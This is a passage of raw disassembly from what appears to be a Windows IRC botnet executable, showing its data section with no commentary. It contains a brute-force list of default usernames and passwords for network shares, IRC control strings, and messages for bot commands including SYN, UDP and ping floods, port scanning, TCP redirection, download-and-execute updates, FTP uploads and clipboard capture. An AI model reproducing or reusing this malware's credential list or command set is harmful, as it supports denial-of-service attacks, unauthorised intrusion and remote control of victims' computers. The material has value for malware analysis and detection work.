		add	[edx-1D6FFFBFh], bl
		inc	ecx
		add	[edx-1D83FFBFh], al
		inc	ecx
		add	[edx+41h], dh
		add	[edx+41h], ch
		add	al, dh
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aUser_0	; "User"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare	; "SHARE"
		dd offset aWrite	; "WRITE"
; ---------------------------------------------------------------------------
		cmp	al, 0E2h
		inc	ecx
		add	[edx], dh
		inc	ecx
		add	[edx], ch
		inc	ecx
		add	[edx], ah
		inc	ecx
		add	[edx], bl
		inc	ecx
		add	[edx], dl
		inc	ecx
		add	[edx], cl
		inc	ecx
		add	al, dh
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aBackup	; "BACKUP"
		dd offset aSystem	; "SYSTEM"
		dd offset aServer_0	; "SERVER"
		dd offset aLocal	; "LOCAL"
		dd offset asc_41E1F8	; "%"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset asc_41E1D4	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_41A924
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		align 10h
dword_41E170	dd 10h			; DATA XREF: sub_40304D+72w
					; sub_4077FD+6E7r ...
a000000		db '000000',0           ; DATA XREF: .nsp0:0041E168o
		align 4
a00000		db '00000',0            ; DATA XREF: .nsp0:0041E164o
		align 4
a0000		db '0000',0             ; DATA XREF: .nsp0:0041E160o
		align 4
a000		db '000',0              ; DATA XREF: .nsp0:0041E15Co
a00		db '00',0               ; DATA XREF: .nsp0:0041E158o
		align 4
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: .nsp0:0041E150o
		align 10h
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: .nsp0:0041E14Co
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: .nsp0:0041E148o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: .nsp0:0041E144o
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: .nsp0:0041E140o
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: .nsp0:0041E13Co
		align 4
aXxx		db 'xxx',0              ; DATA XREF: .nsp0:0041E138o
aXx		db 'xx',0               ; DATA XREF: .nsp0:0041E134o
		align 4
asc_41E1D4:				; DATA XREF: .nsp0:0041E130o
		unicode	0, <x>,0
aAbc123		db 'abc123',0           ; DATA XREF: .nsp0:0041E12Co
		align 10h
aAbcd		db 'abcd',0             ; DATA XREF: .nsp0:0041E128o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .nsp0:0041E120o
		align 10h
aPass_0		db 'pass',0             ; DATA XREF: .nsp0:0041E11Co
		align 4
asc_41E1F8:				; DATA XREF: .nsp0:0041E118o
		unicode	0, <%>,0
aServer_0	db 'SERVER',0           ; DATA XREF: .nsp0:0041E110o
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: .nsp0:0041E108o
		align 4
aAccess		db 'ACCESS',0
		align 4
aTest		db 'TEST',0
		align 4
aDemo		db 'DEMO',0
		align 4
aFiles		db 'FILES',0
		align 4
aRead		db 'READ',0
		align 4
aBoth		db 'BOTH',0
		align 4
aFull_0		db 'FULL',0
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: .nsp0:0041E0E4o
		align 4
aShare		db 'SHARE',0            ; DATA XREF: .nsp0:0041E0E0o
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: .nsp0:0041E0DCo
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: .nsp0:0041E0D0o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: .nsp0:0041E0CCo
		align 4
aUser_1		db 'user',0
		align 4
aSystem		db 'SYSTEM',0           ; DATA XREF: .nsp0:0041E10Co
		align 4
aSystem_0	db 'system',0
		align 4
aPassword_0	db 'Password',0
		align 10h
aPassword	db 'PASSWORD',0         ; DATA XREF: .nsp0:0041E0D8o
		align 4
aPassword_1	db 'password',0
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: .nsp0:0041E114o
		align 10h
aDefault_1	db 'Default',0          ; DATA XREF: .nsp0:0041E0A4o
aDefault_0	db 'DEFAULT',0          ; DATA XREF: .nsp0:0041E0A0o
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: .nsp0:0041E088o
		align 10h
aAdministrate_0	db 'Administrateur',0   ; DATA XREF: .nsp0:0041E080o
		align 10h
aAdministrado_0	db 'Administrador',0    ; DATA XREF: .nsp0:0041E07Co
		align 10h
aAdmin123	db 'admin123',0         ; DATA XREF: .nsp0:0041E078o
		align 4
aAdmin_1	db 'Admin',0            ; DATA XREF: .nsp0:0041E074o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: .nsp0:0041E070o
					; .nsp0:0041E0D4o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .nsp0:0041E05Co
		align 4
aDb2		db 'db2',0              ; DATA XREF: .nsp0:0041E058o
aOracle		db 'oracle',0           ; DATA XREF: .nsp0:0041E054o
		align 10h
aDba		db 'dba',0              ; DATA XREF: .nsp0:0041E050o
aDatabase	db 'database',0         ; DATA XREF: .nsp0:0041E04Co
					; .nsp0:0041E124o
		align 10h
aDefault	db 'default',0          ; DATA XREF: .nsp0:0041E048o
					; .nsp0:0041E09Co
aGuest_0	db 'guest',0            ; DATA XREF: .nsp0:0041E044o
					; .nsp0:0041E094o
		align 10h
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .nsp0:0041E040o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .nsp0:0041E03Co
aStudent	db 'student',0          ; DATA XREF: .nsp0:0041E038o
aOwner		db 'owner',0            ; DATA XREF: .nsp0:0041E034o
		align 4
aComputer	db 'computer',0         ; DATA XREF: .nsp0:0041E030o
		align 10h
aRoot		db 'root',0             ; DATA XREF: .nsp0:0041E02Co
		align 4
aStaff		db 'staff',0            ; DATA XREF: .nsp0:0041E028o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: .nsp0:0041E024o
					; .nsp0:0041E06Co
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .nsp0:0041E020o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: .nsp0:0041E01Co
aAdministrateur	db 'administrateur',0   ; DATA XREF: .nsp0:0041E018o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .nsp0:0041E014o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: .nsp0:0041E010o
					; .nsp0:0041E084o ...
		align 4
aEggdropV1_6_17	db 'eggdrop v1.6.17',0  ; DATA XREF: .nsp0:0041DF64o
aEggdropV1_6_20	db 'eggdrop v1.6.20',0  ; DATA XREF: .nsp0:off_41DF60o
a@ktw_com	db '*@KTW.com',0        ; DATA XREF: .nsp0:off_41DF5Co
		align 4
aSDS		db '%s %d "%s"',0       ; DATA XREF: sub_407041+27Do
		align 4
aSS_2		db '%s\%s',0            ; DATA XREF: sub_407041+195o
		align 4
aSS_3		db '%s%s',0             ; DATA XREF: sub_407041+112o
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_407681+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_407681+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+3B2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+3B19o
		align 4
unk_41E45C	db  1Fh			; DATA XREF: sub_4077FD+3AFBo
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aPasswordAccept	db ' Password accepted.',0
		align 10h
unk_41E480	db  1Fh			; DATA XREF: sub_4077FD+3AA2o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aFailedHostAuth	db ' *Failed host auth by: (%s!%s).',0
		align 10h
unk_41E4B0	db  1Fh			; DATA XREF: sub_4077FD+3A35o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aFailedPassAuth	db ' *Failed pass auth by: (%s!%s).',0
		align 10h
aNoticeSFailed_	db 'NOTICE %s :FAILED.',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+3A26o
					; sub_4077FD+3A93o
		align 4
aNoticeSFailedS	db 'NOTICE %s :FAILED (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+3A12o
					; sub_4077FD+3A7Fo
		align 4
asc_41E518:				; DATA XREF: sub_4077FD+39E2o
		unicode	0, <~>,0
unk_41E51C	db  1Fh			; DATA XREF: sub_4077FD+38E8o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aInvalidLoginSl	db ' Invalid login slot number: %d.',0
		align 4
unk_41E54C	db  1Fh			; DATA XREF: sub_4077FD+38E0o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aNoUserLoggedIn	db ' No user logged in at slot: %d.',0
		align 4
dword_41E57C	dd 26D021Fh, 6E69611Fh,	2BB0220h, 732520BBh, 0 ; DATA XREF: sub_4077FD+388Co
unk_41E590	db  1Fh			; DATA XREF: sub_4077FD+385Fo
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aFailedToStar_1	db 'Failed to start secure thread, error: <%d>.',0
dword_41E5CC	dd 273021Fh, 7563651Fh,	2206572h, 20BB02BBh, 73207325h
					; DATA XREF: sub_4077FD+37F5o
		dd 65747379h, 2E6Dh
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_4077FD+37EFo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_4077FD+37E8o
		align 10h
aProc		db 'PROC ',0           ; DATA XREF: sub_4077FD+375Ao
		align 4
aProcessList	db 'Process list',0     ; DATA XREF: sub_4077FD+3755o
		align 4
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4077FD:loc_40AF1Ao
		align 10h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4077FD:loc_40AF03o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_4077FD:loc_40AEECo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+36DDo
		align 4
unk_41E664	db  1Fh			; DATA XREF: sub_4077FD+3691o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aStatusReady_Bo	db ' Status: Ready. Bot Uptime: %s.',0
		align 4
dword_41E694	dd 26D021Fh, 6E69611Fh,	2BB0220h, 6F4220BBh, 44492074h
					; DATA XREF: sub_4077FD+3653o
		dd 7325203Ah, 2Eh
dword_41E6B0	dd 274021Fh, 6572681Fh,	20736461h, 0BB02BB02h ;	DATA XREF: sub_4077FD+3620o
aFailedToStartL	db ' Failed to start list thread, error: <%d>.',0
		align 4
dword_41E6EC	dd 274021Fh, 6572681Fh,	20736461h, 0BB02BB02h, 73694C20h
					; DATA XREF: sub_4077FD+35C1o
		dd 68742074h, 64616572h, 2E73h
dword_41E70C	dd 627573h		; DATA XREF: sub_4077FD+359Bo
dword_41E710	dd 26D021Fh, 6E69611Fh,	2BB0220h, 655220BBh, 69766F6Dh
					; DATA XREF: sub_4077FD+34CDo
		dd 4220676Eh, 2E746Fh
unk_41E72C	db  1Fh			; DATA XREF: sub_4077FD+3492o
		db 2, 70h, 2
		db  1Fh
		db 72h,	6Fh, 63h
		db  20h
		db 2, 0BBh, 2
aFailedToStar_2	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_41E768	dd 270021Fh, 636F721Fh,	2BB0220h, 725020BBh, 6563636Fh
					; DATA XREF: sub_4077FD+3433o
		dd 6C207373h, 2E747369h, 0
aFull		db 'full',0             ; DATA XREF: sub_4077FD+3413o
		align 10h
unk_41E790	db  1Fh			; DATA XREF: sub_4077FD+33C2o
		db 2, 70h, 2
		db  1Fh
		db 72h,	6Fh, 63h
		db  20h
		db 2, 0BBh, 2
aAlreadyRunning	db ' Already running.',0
		align 10h
dword_41E7B0	dd 26D021Fh, 6E69611Fh,	2BB0220h, 705520BBh, 656D6974h
					; DATA XREF: sub_4077FD+3371o
		dd 7325203Ah, 2Eh
dword_41E7CC	dd 26D021Fh, 6E69611Fh,	2BB0220h, 654720BBh, 6C432074h
					; DATA XREF: sub_4077FD+32F0o
		dd 6F627069h, 2E647261h, 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_4077FD+32C2o
		align 10h
aFlushdnsFail_1	db '[FLUSHDNS]: Failed to flush ARP cache.',0
					; DATA XREF: sub_4077FD:loc_40AAAFo
		align 4
aFlushdnsArpC_0	db '[FLUSHDNS]: ARP cache flushed.',0 ; DATA XREF: sub_4077FD+329Do
		align 4
aFlushdnsFail_0	db '[FLUSHDNS]: Failed to load dnsapi.dll.',0
					; DATA XREF: sub_4077FD:loc_40AA7Eo
		align 10h
aFlushdnsFailed	db '[FLUSHDNS]: Failed to flush DNS cache.',0
					; DATA XREF: sub_4077FD:loc_40AA77o
		align 4
aFlushdnsDnsCac	db '[FLUSHDNS]: DNS cache flushed.',0 ; DATA XREF: sub_4077FD+3273o
		align 4
unk_41E8B8	db  1Fh			; DATA XREF: sub_4077FD+3202o
		db 2, 74h, 2
		db  1Fh
		db 66h,	74h, 70h
		db  20h
		db 2, 0BBh, 2
aFailedToStar_3	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_41E8F4	db  1Fh			; DATA XREF: sub_4077FD+30F8o
		db 2, 74h, 2
		db  1Fh
		db 66h,	74h, 70h
		db  20h
		db 2, 0BBh, 2
aAlreadyRunni_0	db ' Already running.',0
		align 4
dword_41E914	dd 274021Fh, 6572681Fh,	20736461h, 0BB02BB02h
					; DATA XREF: sub_4077FD:loc_40A543o
aFailedToKillTh	db ' Failed to kill thread: %s.',0
dword_41E940	dd 274021Fh, 6572681Fh,	20736461h, 0BB02BB02h ;	DATA XREF: sub_4077FD+2D3Fo
aKilledThreadS_	db ' Killed thread: %s.',0
dword_41E964	dd 274021Fh, 6572681Fh,	20736461h, 0BB02BB02h
					; DATA XREF: sub_4077FD:loc_40A4F4o
aNoActiveThread	db ' No active threads found.',0
		align 10h
dword_41E990	dd 274021Fh, 6572681Fh,	20736461h, 0BB02BB02h ;	DATA XREF: sub_4077FD+2CEDo
aStoppedDThread	db ' Stopped: %d thread(s).',0
aAll		db 'all',0              ; DATA XREF: sub_4077FD+2CD3o
unk_41E9BC	db  1Fh			; DATA XREF: sub_4077FD+2CC6o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aPrefixChangedT	db ' Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_41E9E4	db  1Fh			; DATA XREF: sub_4077FD:loc_40A4AAo
		db 2, 73h, 2
		db  1Fh
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 20h,	2, 0BBh
		db    2
aCouldnTOpenF_0	db ' Couldn',27h,'t open file: %s',0
		align 4
dword_41EA0C	dd 273021Fh, 6C65681Fh,	0BB02206Ch, 4620BB02h, 20656C69h
					; DATA XREF: sub_4077FD+2CA3o
		dd 6E65706Fh, 203A6465h, 7325h
unk_41EA2C	db  1Fh			; DATA XREF: sub_4077FD+2C76o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aServerChangedT	db ' Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_41EA54	dd 264021Fh, 20736E1Fh,	0BB02BB02h ; DATA XREF:	sub_4077FD:loc_40A44Do
aCouldnTResol_0	db ' Couldn',27h,'t resolve hostname.',0
dword_41EA7C	dd 264021Fh, 20736E1Fh,	0BB02BB02h ; DATA XREF:	sub_4077FD+2C40o
aLookupSS_	db ' Lookup: %s -> %s.',0
		align 4
unk_41EA9C	db  1Fh			; DATA XREF: sub_4077FD:loc_40A3EBo
		db 2, 70h, 2
		db  1Fh
		db 72h,	6Fh, 63h
		db  20h
		db 2, 0BBh, 2
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_41EACC	db  1Fh			; DATA XREF: sub_4077FD+2BE4o
		db 2, 70h, 2
		db  1Fh
		db 72h,	6Fh, 63h
		db  20h
		db 2, 0BBh, 2
aProcessKilledS	db ' Process killed: %s',0
		align 10h
unk_41EAF0	db  1Fh			; DATA XREF: sub_4077FD:loc_40A38Do
		db 2, 70h, 2
		db  1Fh
		db 72h,	6Fh, 63h
		db  20h
		db 2, 0BBh, 2
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
		align 4
unk_41EB24	db  1Fh			; DATA XREF: sub_4077FD+2B89o
		db 2, 70h, 2
		db  1Fh
		db 72h,	6Fh, 63h
		db  20h
		db 2, 0BBh, 2
aProcessKilledI	db ' Process killed ID: %s',0
dword_41EB48	dd 266021Fh, 656C691Fh,	2BB0220h, 654420BBh, 6574656Ch
					; DATA XREF: sub_4077FD+2B1Ao
		dd 25272064h, 2E2773h
dword_41EB64	dd 26D021Fh, 6372691Fh,	2BB0220h, 6F4320BBh, 6E616D6Dh
					; DATA XREF: sub_4077FD:loc_40A2C7o
		dd 65732064h, 2E746Eh
unk_41EB80	db  1Fh			; DATA XREF: sub_4077FD+2AC3o
		db 2, 6Dh, 2
		db  1Fh
		db 69h,	72h, 63h
		db  20h
		db 2, 0BBh, 2
aClientNotOpen_	db ' Client not open.',0
		align 10h
unk_41EBA0	db  1Fh			; DATA XREF: sub_4077FD+2A84o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aReadFileFailed	db ' Read file failed: %s',0
		align 4
unk_41EBC4	db  1Fh			; DATA XREF: sub_4077FD+2A71o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aReadFileComple	db ' Read file complete: %s',0
		align 4
dword_41EBEC	dd 26D021Fh, 6E69611Fh,	2BB0220h, 654720BBh, 736F6874h
					; DATA XREF: sub_4077FD+29EEo
		dd 25203A74h, 2E73h
unk_41EC08	db  1Fh			; DATA XREF: sub_4077FD:loc_40A1A8o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aUnableToExtrac	db ' Unable to extract Gethost command.',0
		align 4
unk_41EC3C	db  1Fh			; DATA XREF: sub_4077FD+2995o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aGethostSComman	db ' Gethost: %s, Command: %s',0
		align 4
unk_41EC64	db  1Fh			; DATA XREF: sub_4077FD+290Fo
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aAliasAddedS_	db ' Alias added: %s.',0
		align 4
dword_41EC84	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_4077FD+2879o
dword_41EC90	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_4077FD+27FDo
					; sub_4077FD+2DB9o
dword_41EC9C	dd 45444F4Dh, 0D732520h, 0Ah ; DATA XREF: sub_4077FD+27CEo
unk_41ECA8	db  1Fh			; DATA XREF: sub_4077FD:loc_409FA2o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aRepeatNotAllow	db ' Repeat not allowed in command line: %s',0
		align 10h
dword_41ECE0	dd 26D021Fh, 6E69611Fh,	2BB0220h, 655220BBh, 74616570h
					; DATA XREF: sub_4077FD+276Ao
		dd 7325203Ah, 0
dword_41ECFC	dd 25207325h, 73252073h, 73253A20h, 2 dup(0) ; DATA XREF: sub_4077FD+269Ao
					; sub_4077FD+2744o ...
unk_41ED10	db  1Fh			; DATA XREF: sub_4077FD+2626o
		db 2, 75h, 2
		db  1Fh
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aBotIdMustBeDif	db 'Bot ID must be different than current running process.',0
		align 4
unk_41ED58	db  1Fh			; DATA XREF: sub_4077FD+25FEo
		db 2, 75h, 2
		db  1Fh
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aFailedToStartD	db 'Failed to start download thread, error: <%d>.',0
		align 4
unk_41ED98	db  1Fh			; DATA XREF: sub_4077FD+259Fo
		db 2, 75h, 2
		db  1Fh
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aDownloadingUpd	db 'Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_4077FD+24FAo
		align 4
dword_41EDD4	dd 265021Fh, 6365781Fh,	2BB0220h, 6F4320BBh, 6E616D6Dh
					; DATA XREF: sub_4077FD+248Do
		dd 203A7364h, 7325h
unk_41EDF0	db  1Fh			; DATA XREF: sub_4077FD+247Ao
		db 2, 65h, 2
		db  1Fh
		db 78h,	65h, 63h
		db  20h
		db 2, 0BBh, 2
aCouldnTExecute	db ' Couldn',27h,'t execute file.',0
		align 4
dword_41EE18	dd 266021Fh, 656C691Fh,	2BB0220h, 0BBh ; DATA XREF: sub_4077FD:loc_409B9Ao
					; sub_4077FD:loc_40A31Eo
unk_41EE28	db  1Fh			; DATA XREF: sub_4077FD+2388o
		db 2, 66h, 2
		db  1Fh
		db 69h,	6Ch, 65h
		db  20h
		db 2, 0BBh, 2
aRenameSToS_	db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
dword_41EE50	dd 273021Fh, 206E791Fh,	0BB02BB02h ; DATA XREF:	sub_4077FD+2328o
aFailedToStartF	db ' Failed to start flood thread, error: <%d>.',0
dword_41EE88	dd 273021Fh, 206E791Fh,	0BB02BB02h ; DATA XREF:	sub_4077FD+22CCo
aFloodingSSForS	db ' Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_41EEB8	db  1Fh			; DATA XREF: sub_4077FD+223Do
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aFailedToStartT	db ' Failed to start transfer thread, error: <%d>.',0
unk_41EEF8	db  1Fh			; DATA XREF: sub_4077FD+21E4o
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aDownloadingUrl	db ' Downloading URL: %s to: %s.',0
		align 4
unk_41EF28	db  1Fh			; DATA XREF: sub_4077FD+20FCo
		db 2, 72h, 2
		db  1Fh
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  20h
		db 2, 0BBh, 2
aFailedToStartR	db ' Failed to start redirection thread, error: <%d>.',0
		align 4
unk_41EF6C	db  1Fh			; DATA XREF: sub_4077FD+20A3o
		db 2, 72h, 2
		db  1Fh
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  20h
		db 2, 0BBh, 2
aTcpRedirectCre	db ' TCP redirect created from: %s:%d to: %s:%d.',0
		align 4
unk_41EFAC	db  1Fh			; DATA XREF: sub_4077FD+1FA8o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aPortScanStarte	db ' Port scan started: %s:%d with delay: %d(ms).',0
		align 4
unk_41EFE8	db  1Fh			; DATA XREF: sub_4077FD+1F0Do
					; sub_4077FD+2001o ...
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aFailedToStar_4	db ' Failed to start scan thread, error: <%d>.',0
unk_41F020	db  1Fh			; DATA XREF: sub_4077FD+1EB4o
					; sub_4077FD+3016o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aSPortScanStart	db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
aSequential	db 'Sequential',0       ; DATA XREF: sub_4077FD+1E89o
					; sub_4077FD+2FEBo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_4077FD+1E82o
					; sub_4077FD+2FE4o
		align 4
unk_41F09C	db  1Fh			; DATA XREF: sub_4077FD+1D41o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aFailedToStar_5	db ' Failed to start scan, no IP specified.',0
		align 4
unk_41F0D4	db  1Fh			; DATA XREF: sub_4077FD+1CE1o
					; sub_4077FD:loc_40A8D1o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aFailedToStar_6	db ' Failed to start scan, port is invalid.',0
		align 4
unk_41F10C	db  1Fh			; DATA XREF: sub_4077FD+1BFFo
					; sub_4077FD+2E34o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aAlreadyDScanni	db ' Already %d scanning threads. Too many specified.',0
		align 4
dword_41F14C	dd 275021Fh, 2070641Fh,	0BB02BB02h ; DATA XREF:	sub_4077FD+1B9Eo
aFailedToStar_7	db ' Failed to start flood thread, error: <%d>.',0
		align 8
dword_41F188	dd 275021Fh, 2070641Fh,	0BB02BB02h ; DATA XREF:	sub_4077FD+1B3Fo
aSendingDPacket	db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_4077FD+1A73o
		align 4
aPingFailedToSt	db '[PING]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_4077FD+1A49o
		align 10h
aPingSendingDPi	db '[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).'
					; DATA XREF: sub_4077FD+19EAo
		db 0
		align 4
dword_41F264	dd 266021Fh, 2070741Fh,	0BB02BB02h ; DATA XREF:	sub_4077FD:loc_4090F0o
aUploadingFileS	db ' Uploading file: %s to: %s failed.',0
		align 4
dword_41F294	dd 266021Fh, 2070741Fh,	0BB02BB02h ; DATA XREF:	sub_4077FD+18ECo
aUploadingFil_0	db ' Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_4077FD+18D3o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_4077FD+18BCo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_4077FD+189Eo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_4077FD+1879o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_4077FD+1868o
		align 4
dword_41F304	dd 266021Fh, 2070741Fh,	0BB02BB02h ; DATA XREF:	sub_4077FD+17EAo
aFileNotFoundS_	db ' File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_4077FD+17C7o
		align 10h
aP:					; DATA XREF: sub_4077FD+17A3o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_4077FD+178Eo
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_4077FD+1779o
		align 4
aU:					; DATA XREF: sub_4077FD+1764o
		unicode	0, <u>,0
aUdp_0		db 'udp',0              ; DATA XREF: sub_4077FD+174Fo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_4077FD+173Ao
		align 4
aAas		db 'aas',0              ; DATA XREF: sub_4077FD+1725o
aAss		db 'ass',0              ; DATA XREF: sub_4077FD+1710o
aPsc		db 'psc',0              ; DATA XREF: sub_4077FD+16E9o
aPortscan	db 'portscan',0         ; DATA XREF: sub_4077FD+16D4o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_4077FD+16BFo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_4077FD+16AAo
		align 4
aKktt		db 'kktt',0             ; DATA XREF: sub_4077FD+1680o
					; sub_4077FD+1695o
		align 4
aSyn_0		db 'syn',0              ; DATA XREF: sub_4077FD+166Bo
aSynflood	db 'synflood',0         ; DATA XREF: sub_4077FD+1656o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_4077FD+162Fo
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_4077FD+161Ao
		align 4
aE:					; DATA XREF: sub_4077FD+1605o
